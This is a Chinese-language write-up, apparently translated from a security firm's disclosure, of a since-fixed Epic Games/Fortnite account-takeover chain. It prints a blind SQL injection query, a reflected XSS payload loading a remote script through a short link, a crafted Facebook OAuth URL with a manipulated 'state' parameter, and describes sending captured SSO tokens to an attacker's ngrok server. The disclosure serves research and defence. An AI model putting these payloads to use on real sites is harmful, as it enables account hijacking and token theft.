在虚拟世界中，游戏开发商Epic Games出品的“Fortnite”是一款非常受欢迎的游戏。在这款游戏中，玩家们的任务是考验自己的耐力，因为他们要为获得保护自己安全从而成为“最后一个站着的人”的工具和武器而不懈战斗。

然而,在过去几周,安全研究人员在在Epic Games的在线平台中发现了多个安全漏洞,这些漏洞一旦被攻击者所利用，就能够接管任意游戏玩家的账户,查看他们的个人账户信息,购买V-bucks，即Fortnite的虚拟游戏货币，并监听和记录玩家在游戏内的聊天和背景对话信息。

Fortnite是由美国视频游戏开发商Epic Games开发的，估值介于50亿至80亿美元之间，其中几乎有一半都是来自这款游戏。随着财富的飞速增长，这款游戏已经吸引了网络罪犯的注意，并开始对游戏玩家下手。

这些骗局以前的手法是欺骗玩家进入伪造的网站，这些网站通常会承诺生成Fortnite的“V-Buck”游戏币，这种商品通常只能通过官方Fortnite商店获得，或者通过游戏本身获得。这些网站会诱骗玩家输入自己的游戏登录凭证，以及姓名、地址和信用卡数据等个人信息，并通过社交媒体广告进行传播，声称玩家可以“轻松并快速赚钱”。

然而，最近研究人员发了一种更为复杂和险恶的方法，它不需要用户交出任何登录细节信息。通过挖掘某些Epic Games子域中的安全漏洞，攻击者只需要让用户点击它们提供的链接，就可以发动XSS攻击。用户一旦点击这些恶意链接，甚至没有输入任何登录凭据，自己的Fortnite用户名和密码就会立即被攻击者所捕获。

相关的安全研究人员已经向Epic Games公司通报了该漏洞，并且负责任地部署了修复程序，以确保数百万玩家可以在安全的环境中继续玩游戏。

攻击演示视频

技术细节

研究人员发现，Epic Games公司名下有一些比较旧的子域名，例如“http://ut2004stats.epicgames.com”。实际上，漏洞的发现之旅，就是从这里开始的。

SQL注入攻击

对于子域名“http://ut2004stats.epicgames.com”，我们可以发送一个GET请求，其路径如下：“/serverstats.php?server=[some server code]”。

大家想一下，如果要在请求中添加符号‘，将会发生什么事情？

好了，不卖关子了，这时的响应是：“Server database error”！

这当然是一个很好的突破口，因为我们意识到，这很有可能是一个SQL注入漏洞（眼下，我们假设当前正在跟MySQL数据库打交道）。

研究表明，他们部署了一款WAF产品，并且，他们使用的是黑名单机制，而不是白名单机制。因此，我们面临的限制之一是无法查询多个系统表（例如“INFORMATION_SCHEMA”表）。

但是，如果我们可以使用系统变量(@@)的话，结果又会如何呢？ 事实上，似乎有人已经忘记了它们的存在，因此，事情要比我们所希望的要好得多！

if((SUBSTR(query,from,length)=CHAR([char_number])),true,false)

通过Google进行搜索之后，我们发现“37514065”是一个有效的服务器代码。鉴于此，我们执行了如下所示的查询，看看会得到什么响应：

响应长4014字节，这表明该字符并没有出现在该查询中。另一方面，长12609字节的响应则意味着该字符的确出现在该查询结果中。

例如， if((SUBSTR(@@version,1,1)=CHAR(52)),37514065,0) 将返回4014字节的内容：

请求：

图1：初始SQL注入查询。

响应：

图2：来自初始SQL查询的4014字节响应。

当然，如果查询‘if((SUBSTR(@@version,1,1)=CHAR(53)),37514065,0)’，则会收到长12609字节的响应，这样的话，我们就能确定当前使用的是MySQL版本5。

图3：第2个SQL注入查询。

图4：SQL查询对应的长12609字节的响应。

事实证明，我们获得的这些数据，对于后面的研究是非常有帮助的。

跨站脚本攻击(XSS)

我们继续研究后，又发现子域“http://ut2004stats.epicgames.com”中含有一个名为“maps”的网页。我们猜测，该网页是用于显示按地图名称/ID排序的比赛统计信息的。

当查找XSS漏洞（包括反射型和/或存储型XSS漏洞）时，自然应该在页面中查找我们输入的反射——这正是我们在搜索组件中找到的。实际上，该页面的另一个功能是提供搜索栏，正好可以充当XSS漏洞的注入点。

示例：

这是我们的第二大突破，因为我们在“ut2004stats.epicgames.com”上找到了一个XSS漏洞。事实证明，它作为主域“epicgames.com”的子域，在我们攻击的最后阶段的作用是至关重要的。

接管oAuth帐户

在接下来的几天里，我们继续寻找下一个可能的漏洞。

碰巧的是，从我们研究的一开始，就有一个团队成员对SSO机制有强烈的感觉。在不排除任何假设或理论的情况下，我们仔细研究了SSO，发现Epic Games确实编写了一个通用SSO实现来支持多个登录入口。很明显，下面就该深入研究这个实现了。

事实证明，当玩家通过单击“Sign In”按钮登录帐户时，Epic Games会生成一个包含“RedirectedUrl”参数的URL（如下面的粗体文本所示）。该参数稍后会被“accounts.epicgames.com”所使用，以便将玩家重定向到其帐户页面。

https://accounts.epicgames.com/login?productName=epic-games&lang=en_US&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&client_id=[cliend_id]&noHostRedirect=true

图5：玩家登录帐户后的重定向链接。

但是，我们很快发现，实际上可以操纵重定向URL，从而将用户定向到“*.epicgames.com”域内的任何网页。

通过控制“redirctedurl”参数，我们可以将受害者重定向到“ut2004stats.epicgames.com”，即包含XSS payload的站点上面：

http://ut2004stats.epicgames.com/index.php?stats=maps&SearchName=”><script%20src=%27%2f%2fbit.ly%2f2QlSHBO%27><%2fscript>

之后，这个JavaScript payload就可以向任何SSO服务提供商发送请求。并且，在发送给SSO服务提供商的请求中，含有一个“state”参数，供“accounts.epicgames.com”稍后使用，以便进行身份验证。同时，JavaScript payload中含有一个精心构造的“state”参数。这个“state”参数值中包含一个Base64编码的JSON，而该JSON含有3个键，即“redirecturl”、“client_id”和“prodectname”。当SSO登录完成时，“redirectedURL”参数将用于重定向。

多家SSO服务提供商 

那些试图登录Fortnite的用户会注意到，Epic Games公司使用了多个SSO服务提供商，如PlayStationNetwork、Xbox Live、Nintendo、Facebook和Google+。后来，我们了解到，也可以借助相同的技术，使用其中的任何一家SSO服务提供商来重新创建上述过程。不过，出于PoC演示的目的，这里将使用Facebook作为我们的SSO服务提供商。

如您所见，我们可以成功地使用这个XSS payload将“state”参数重定向到“ut2004stats.epicgames.com”：

https://www.facebook.com/dialog/oauth?client_id=1132078350149238&redirect_uri=https://accounts.epicgames.com/OAuthAuthorized&state=eyJpc1BvcHVwIjoidHJ1ZSIsImlzQ3JlYXRlRmxvdyI6InRydWUiLCJpc1dlYiI6InRydWUiLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cDovL3V0MjAwNHN0YXRzLmVwaWNnYW1lcy5jb20vaW5kZXgucGhwP3N0YXRzPW1hcHMmU2VhcmNoTmFtZT0lMjIlM2UlM2NzY3JpcHQlMjBzcmM9JyUyZiUyZmJpdC5seSUyZjJRbFNIQk8nJTNlJTNjJTJmc2NyaXB0JTNlJTJmIyUyZiJ9&response_type=code&display=popup&scope=email,public_profile,user_friends

图6：使用XSS payload重定向到“ut2004stats.epicgames.com”

SSO服务提供商（在本例中为Facebook）响应被重定向到包含操纵state参数代码的“accounts.epicgames.com”中：

图7：Facebook的响应被重定向到包含操纵state参数代码的“accounts.epicgames.com”中。

反过来，Epic Games接着从SSO服务提供商处获取“code”（即SSO令牌）和攻击者精心构造的“state”参数，并向Epic Games的服务器发送请求，以完成身份验证过程：

图8：Epic Games向其服务器发送的请求，以及从SSO收到的、攻击者“精心构造的state”参数。

作为响应，Epic Games的服务器将生成一个没有输入验证的响应，并使用XSS payload和SSO令牌将用户重定向到“ut2004stats.epicgames.com”：

图9：Epic Games服务器的响应，没有输入验证，并使用XSS payload和SSO令牌将用户重定向到“ut2004stats.epicgames.com”。

最后，用户被重定向到易受攻击的Web页面，在那里XSS payload将会执行，从而窃取用户的标识代码：

图10：执行XSS payload的易受攻击的Web页面。

这里最大的安全问题（至少对于Epic Games来说）是Epic Games的服务器没有对“state”参数执行任何输入验证。

请注意，我们会把用户重定向到带有XSS漏洞的“ut2004stats.epicgames.com”页面。因此，尽管Epic Games实现了CORS机制，“ut2004stats.epicgames.com”仍然可以向“account.epicgames.com”发送请求。

绕过WAF

当执行XSS payload时，WAF将会发挥作用，并通知我们请求被禁止。显然，唯一的问题在于脚本源URL的长度，所以，我们只需使用一个短URL就能够绕过它。

现在，我们已经有了XSS漏洞，因此可以加载我们自己的JavaScript了，反过来，它将在“ut2004stats.epicgames.com”的上下文中执行。

接下来，我们就可以编写一些相关的JavaScript代码了：

图11：用于投递XSS payload的JavaScript代码。

XSS payload 

该代码会打开一个窗口，并会利用用户的cookie和精心构造的“state”参数向SSO服务提供商的服务器（在本例中为Facebook）发送OAuth请求。

随后，Facebook会将响应重定向到“account.epicgames.com”，其中包含SSO令牌（“code”参数）和前面受攻击者操纵的、精心构造的“state”参数。

如果用户已经使用自己的Facebook帐户登录，那么，服务器“account.epicgames.com”会将其重定向到攻击者精心构造的“state”参数中指定的URL。在我们的示例中，将重定向到“ut2004stats.epicgames.com”，并提供XSS payload和Facebook用户的OAuth令牌。

最后，从请求中提取令牌并将其发送到攻击者的服务器（出于PoC演示的目的，我们这里将使用“ngrok”服务器——0aa62240.ngrok.io）。

图12：Ngrok服务器接收带有SSO令牌的请求。

图13：Ngrok服务器接收带有SSO令牌的请求。

攻击者现在已经拥有了用户的Facebook令牌，自然就可以登录受害者的帐户了：

图14：攻击者捕获的用户的Facebook令牌。